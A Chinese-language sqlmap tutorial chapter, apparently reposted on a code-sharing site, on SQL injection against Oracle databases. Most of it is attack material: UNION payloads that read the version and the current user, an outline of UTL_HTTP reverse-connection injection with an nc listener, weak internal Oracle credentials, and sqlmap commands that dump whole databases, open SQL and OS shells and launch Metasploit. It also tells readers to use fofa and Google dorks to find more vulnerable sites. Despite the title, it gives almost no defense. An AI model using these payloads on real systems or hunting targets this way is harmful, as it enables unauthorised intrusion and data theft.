sqlmap從入門到精通-第五章-5-4 使用sqlmap進行Oracle數據庫注入與防御


5.4 使用sqlmap進行Oracle數據庫注入與防御

5.4.1 Oracle數據庫注入基礎

1.SQL注入點判斷

and 1=1 和 and 1=2

2. 判斷數據庫為Oracle

(1) 出錯信息顯示Oracle

(2) 通過注釋符號來判斷

(3) 多行查詢判斷,Oracle不支持多行查詢

3. 獲取基本信息

(1) 獲取字段數,可以使用order by N根據返回的頁面判斷

(2) and 1=2 union select 1,2, (select banner from sys.v_$version where rownum=1), 4,5,6 from dual

(3) 獲取數據庫連接的用戶名

and 1=2 union select 1,2 ( select SYS_CONTEXT('USERENV', 'CURRENT_USER') from dual), 4,5,6 from dual

(4) 獲取日志的絕對路徑

4. 猜測數據庫,表和列名

(1) 爆出數據庫明

(2) 爆表名

(3) 爆字段名

5. Oracle注入過程的特性

(1) 字段類型必須確定

(2) UTL_HTTP存儲過程反彈注入

* 判斷UTL_HTTP存儲過程是否可用

* 本地執行nc監聽端口

* 注入點執行

(3) 系統特性

(4) 創建遠程連接賬號

(5) 命令執行

6. Oracle數據庫導出

(1) 登錄服務器

ssh 22.2.33.3

內網中的弱口令oracle/oracle

(2) 在ssh中執行

7. Oracle數據庫導入

(1) 執行sqlpuls

sqlpuls /nolog

(2) 以DBA進行連接

conn /as sysdba;

(3) 創建需要導入的表空間

create tablespace spms

datafile='d:\xx\xx\spms.dbf'

size 50m

autoextend on;

(4) 創建用戶

create user dbms identified by bmfxheihei;

(5) 授予權限

(6) 導入數據庫

imp dbms/bmfxheihei@dbms full=y file=d:\dbmx.tmp ignore=y

https://www.cnblogs.com/peterpan0707007/p/8242119.html

5.4.2 使用sqlmap進行Oracle數據庫注入命令

1. 需要安裝Oracle支持模塊cx_Oracle

(1) 源碼下載

git clone https://github.com/oracle/python-cx_oracle

(2) 使用pip命令安裝

python -m pip install cx_Oracle --upgrade

(3) Windows下安裝

2. 數據庫命令直連

sqlmap.py -d oracle://User:Password@DBMS_IP:DBMS_PORT/DATABASE_SID

(1) sqlmap.py -u url -f --current-user --current-db --hostname --batch

(2) sqlmap.py -u url --password --privileges --roles --users --is-dba --batch

(3) sqlmap.py -u url --exclude-sysdbs --schema --dbs --batch

(4) sqlmap.py -u url -D dbname --table

(5) sqlmap.py -u url -D dbname --count

(6) sqlmap.py -u url -D dbname -T manage --columns

(7) 導出manager表數據及所有數據

sqlmap.py -u url -D dbname -T manager --dump

sqlmap.py -u url -D dbname --dump-all

(8) SQL shell ,查詢及文件

sqlmap.py -u url --sql-query="sql語句"

sqlmap.py -u url --sql-shell

sqlmap.py -u url --sql-file="具體文件"

(9) os命令及提權

sqlmap.py -u url --os-cmd id

sqlmap.py -u url --os-shell

(10) MSF協助滲透

sqlmap.py -u url --os-pwn --msf-paht /software/metasploit

(11) 向導模式開展測試

sqlmap.py -u url --wizard

(12) Oracle命令行提權

5.4.3 使用AWVS進行漏洞掃描

1. 使用AWVS掃描URL

5.4.4 SQL盲注漏洞利用

1. 使用sqlmap檢測request數據是否存在SQL注入

sqlmap.py -r /root/bmfx.txt

2. 使用sqlmap檢測出SQL注入點所在的數據庫類型

3. 獲取具體的漏洞類型及payload

4. 注意事項

(1) 有的注入點可能是掃描工具掃描出來的結果,顯示存在SQL注入,但是實際測試發現並非存在,無法利用的現象,像這類是誤報

(2) 使用sqlmap進行測試時,盡量做全部的測試,有的注入點可能存在多種類型的SQL注入,測試結束之后,可以選擇一個速度最快的方式進行快速注入

(3) sqlmap中可以使用--batch自動提交參數

(4) 可以使用-o參數進行優化

(5) 發現SQL注入點無法通過sqlmap進行后續工作的時候,可以嘗試使用其他注入工具對注入點進行測試

5. 延伸漏洞挖掘

(1) 使用fofa網站進行關鍵字檢索擴展漏洞目標,例如:custLoginAction.do

(2) 使用百度等搜索引擎進行Google黑客擴展目標,例如:inurl:custLoginAction.do

參考:

http://www.secist.com/archives/448.html

https://www.jianshu.com/p/30c216960bdd

https://blog.csdn.net/csacs/article/details/90145501

https://blog.csdn.net/st415/article/details/78118382

實戰測試環境,參考如下:

https://www.mozhe.cn/bug/detail/M2dRRXJqN3RqWnhvTGRTK1JJdjk5dz09bW96aGUmozhe

 

 


 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM